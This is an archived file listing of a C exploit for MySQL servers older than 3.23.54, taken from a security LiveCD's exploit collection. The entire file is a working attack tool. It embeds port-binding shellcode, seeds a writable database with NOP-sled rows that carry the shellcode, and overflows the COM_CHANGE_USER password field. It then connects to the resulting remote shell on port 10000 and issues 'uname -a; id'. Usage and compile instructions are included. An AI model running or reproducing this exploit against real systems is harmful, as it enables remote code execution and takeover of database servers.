home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / database / mysql / mysqlexploit.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  7KB  |  268 lines

  1. /* Unpatched MySql < 3.23.54 COM_CHANGE_USER password length shell exploiter
  2.  * 
  3.  * Discovered by e-matters 
  4.  *  Advisory: http://security.e-matters.de/advisories/042002.html
  5.  *
  6.  * dreyer <dreyer@subdimension.com>
  7.  * Version 1.0
  8.  *
  9.  * What you need:
  10.  * A valid user loginable from this host
  11.  * Password for that user
  12.  * Another user loginable also from this host
  13.  * A writable database (i.e.: 'test')
  14.  * A vulnerable LINUX mysql server :D
  15.  *
  16.  * Compile: gcc -o mysqle mysqlexploit.c -lmysqlclient
  17.  * i.e:
  18.  * ./mysqlexploit -h localhost -u drey -p drey -t john -d mydb -g 3306
  19.  *
  20.  * Greetings to: jaxp, kicat, and all people in #ngsec @ irc-hispano network 
  21.  *
  22.  * Tested on: Slackware/MySql 3.23.39,  
  23.  */
  24.  
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27. #include <sys/socket.h>
  28. #include <netdb.h>
  29. #include <sys/time.h>
  30. #include <resolv.h>
  31. #include <mysql/mysql.h>
  32. #include <signal.h>
  33. #include <getopt.h>
  34.  
  35. #define ROWS 5000
  36.  
  37. /* bighawk's 10000 portbinding shellcode  88 bytes <bighawk@warfare.com>*/
  38.  
  39. char *shellcode="\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x27\x10\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8\x51\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80";
  40.  
  41. char db[50]="test";  // writable database
  42. char victim[100]="localhost";
  43.  
  44. int offset=0;
  45.  
  46. /* Connect to port 10000 */
  47. int do_connect(char *host)
  48. {
  49.  struct hostent *he=gethostbyname(host);
  50.  struct sockaddr_in sa;
  51.  int outsocket,r;
  52.  struct timeval tv;
  53.  fd_set rfds;
  54.  char buffer[500];
  55.  
  56.  
  57.  memset (&sa, 0, sizeof (struct sockaddr_in));
  58.  memcpy (&sa.sin_addr.s_addr, he->h_addr_list[0], he->h_length);
  59.  sa.sin_family = AF_INET;
  60.  sa.sin_port=htons(10000);
  61.  outsocket=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  62.  if ((connect(outsocket,(struct sockaddr *)&sa,sizeof(struct sockaddr_in)))==-1)
  63.     return 0;
  64.  FD_ZERO (&rfds);
  65.  send(outsocket,"uname -a;\nid;\n",14,0);
  66.  printf("[+] Exploting successful, enjoy your shell: \n");
  67.  while (1) {
  68.     FD_SET (outsocket, &rfds);
  69.     FD_SET (0, &rfds);
  70.     tv.tv_sec = 30;
  71.     tv.tv_usec = 0;
  72.     select (outsocket + 1, &rfds, NULL, NULL, &tv);
  73.     if (FD_ISSET(outsocket, &rfds))
  74.     {
  75.        if ((r=recv(outsocket, buffer, sizeof(buffer), 0))==-1)
  76.          exit(2);
  77.        write(1,buffer,r);
  78.     }
  79.     if (FD_ISSET(0,&rfds)) 
  80.     {
  81.         r=read(0,buffer,sizeof(buffer));
  82.         send(outsocket,buffer,r,0);
  83.     }
  84.  }
  85.  return 1;
  86. }
  87.  
  88.  
  89. /* Print a nice bar :D */
  90. int nice_bar (int a,int max) {
  91.  int i;
  92.  int b=a*50/max;
  93.  printf("0 [");
  94.  for (i=0;i<=b;i++) printf(".");
  95.  for(;i<50;i++) printf(" ");
  96.  printf("] 100%\r");
  97.  fflush(stdout);
  98. }
  99.  
  100.  
  101. /* Try to do a query in the mysql server */
  102. int do_query(MYSQL *s, char *query)
  103. {
  104.    if (mysql_query(s,query)) {
  105.       fprintf(stderr,"Query failed (%s)\n",mysql_error(s));
  106.       exit(1);
  107.   }
  108. }
  109.  
  110. /* Trigger the index cache creation */
  111. int do_index(MYSQL *s) {
  112.    char query[1000];
  113.    MYSQL_RES *res;
  114.    
  115.    printf("[+] Triggering index cache creation\n");
  116.    sprintf(query, "select * from %s.ow having u='junk';",db);
  117.    do_query(s,query);
  118.    if (!(res=mysql_store_result(s)))
  119.    { 
  120.          printf("[-] Failed index cache trigger\n"); 
  121.    }
  122.    mysql_free_result(res); 
  123. }
  124.  
  125. /* Populate mysql database */
  126. int populate (MYSQL *s) {
  127.    char buf1[300];
  128.    char query[1000];
  129.    int i;
  130.  
  131.    memset(buf1,0,sizeof(buf1)); 
  132.    memset(query,0,sizeof(query));
  133.    memset(buf1,'\x90',249-strlen(shellcode)-offset);
  134.    strcat(buf1,shellcode);
  135.    printf("[+] Creating temporal tables...\n");
  136.    sprintf(query,"use %s;",db);
  137.    do_query(s,query);
  138.    do_query(s,"create table oy(h varchar(250),a varchar(250));");
  139.    sprintf(query,"insert into oy(h,a) values (\"%s\",\"%s\");",
  140.            buf1,buf1);
  141.    do_query(s,query);
  142.    do_query(s,query);
  143.    do_query(s,query);
  144.    do_query(s,query);
  145.    do_query(s,"create table ow(u varchar(250),d varchar(250),index(u,d));");
  146.    printf("[+] Populating database... this will take a while...\n");
  147.    for(i=0;i<ROWS;i++) {
  148.      do_query(s,"INSERT INTO ow(u,d) select h,a from oy;");
  149.      nice_bar(i,ROWS);
  150.    } 
  151.    printf("\n");
  152. }
  153.  
  154.  
  155. void *sig_hand (int a) {
  156.  if(do_connect(victim)) exit(1);
  157. }
  158.  
  159. int main(int argc, char **argv)
  160. {
  161.   MYSQL *sock,mysql;
  162.   char abuf[10000];
  163.   char  *hashpass,pass[50]="",user[50]="",ouser[50]="root";
  164.   int i,port=3306,opt,pop=1;
  165.   unsigned long long int stime=1977321;
  166.  
  167.   printf("[+] MySql vuln lenght <3.23.54 exploiter by \033[1;33mdreyer@subdimension.com\033[0m\n");
  168.   memset (abuf,0,sizeof(abuf));
  169.  
  170.   if (argc < 2)
  171.   {
  172.     fprintf(stderr,"usage : %s -h <host> -u <user> -p <pass>"
  173.     " -t <other_user>\n\t[ -d writable_db] [ -g port ]"
  174.     "[ -o offset ] [ -s microsecs_sleep ] [ -n ]\n",argv[0]);
  175.     exit(1);
  176.   }
  177.  
  178.   while((opt=getopt(argc,argv,"h:u:p:t:d:o:s:g:n"))!=EOF)
  179.   switch(opt) {
  180.       case 'h': 
  181.                 strncpy(victim,optarg,49); 
  182.         break;
  183.       case 'u':
  184.         strncpy(user,optarg,49);
  185.         break;
  186.       case 'p':
  187.         strncpy(pass,optarg,49);
  188.         break;
  189.       case 't':
  190.         strncpy(ouser,optarg,49);
  191.         break;
  192.       case 'd':
  193.         strncpy(db,optarg,49);
  194.         break;
  195.       case 'g':
  196.                 port=atoi(optarg);
  197.         break;
  198.       case 's':
  199.                 stime=atol(optarg);
  200.         break;
  201.       case 'o':
  202.                 offset=atoi(optarg);
  203.                 if (offset>249-strlen(shellcode)) {
  204.                   printf("[-] Maximun offset: %d\nAborting...\n",
  205.                          249-strlen(shellcode));
  206.                   exit(-1);
  207.                 }
  208.         break;
  209.       case 'n':
  210.                 pop=0;
  211.         break;
  212.  
  213.   }
  214.   printf("[+] Exploit Params: \n");
  215.   printf("[+]   Host: %s Port: %d User: %s Pass: %s\n",victim,port,user,pass);
  216.   printf("[+]   Target_User: %s Writable_Database: %s\n",ouser,db);
  217.   printf("[+]   Offset: %d Populate: %s Sleep: %llu\n\n",offset,
  218.           pop?"yes":"no",stime);
  219.  
  220.   signal(SIGALRM,sig_hand);
  221.   printf("[+] Conecting...\n");
  222.   mysql_init(&mysql);
  223.   if (!(sock = mysql_real_connect(&mysql,victim,user,pass,
  224.                                    NULL,port,NULL,0)))
  225.   {
  226.     fprintf(stderr,"[-] Couldn't connect to engine!\n%s\n",mysql_error(&mysql));
  227.     exit(1);
  228.   }
  229.   printf("[+] Connected: Version %s\n",mysql_get_server_info(sock));
  230.  
  231.   printf("[+] Begining attack... trust in your luck... overflowing...\n");
  232.   strcpy(abuf,ouser);
  233.   hashpass=abuf+strlen(abuf)+1;
  234.   strcpy(hashpass,"XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX");
  235.  
  236.   if (pop) 
  237.        populate(sock);
  238.  
  239.    do {
  240.        do_index(sock);
  241.        net_clear(&sock->net);
  242.        if (net_write_command(&sock->net,COM_CHANGE_USER, 
  243.                              abuf,strlen(abuf)+strlen(hashpass)+2)) 
  244.        {
  245.          printf("[-] Can't send command to server.\n");
  246.        }
  247.        alarm(5);
  248.        if (my_net_read(&sock->net)==packet_error) 
  249.        {
  250.           alarm(0);
  251.           printf("[+] Packet error... not yet... ;)\n");
  252.           usleep(stime);
  253.           mysql_init(&mysql);
  254.           if (!(sock=mysql_real_connect(&mysql,victim,user,pass,
  255.                                         NULL,port,NULL,0))) 
  256.           {
  257.              printf("[-] Oh oh, something is broken...Or maybe sleep_time too short?\n");
  258.              exit(1);
  259.           }
  260.        }  else {
  261.           printf("[-] Didn't overflowed... patched?? is other_user valid??\n");
  262.        }
  263.        alarm(0);
  264.     } while(1);
  265.  
  266.   mysql_close(sock);
  267. }
  268.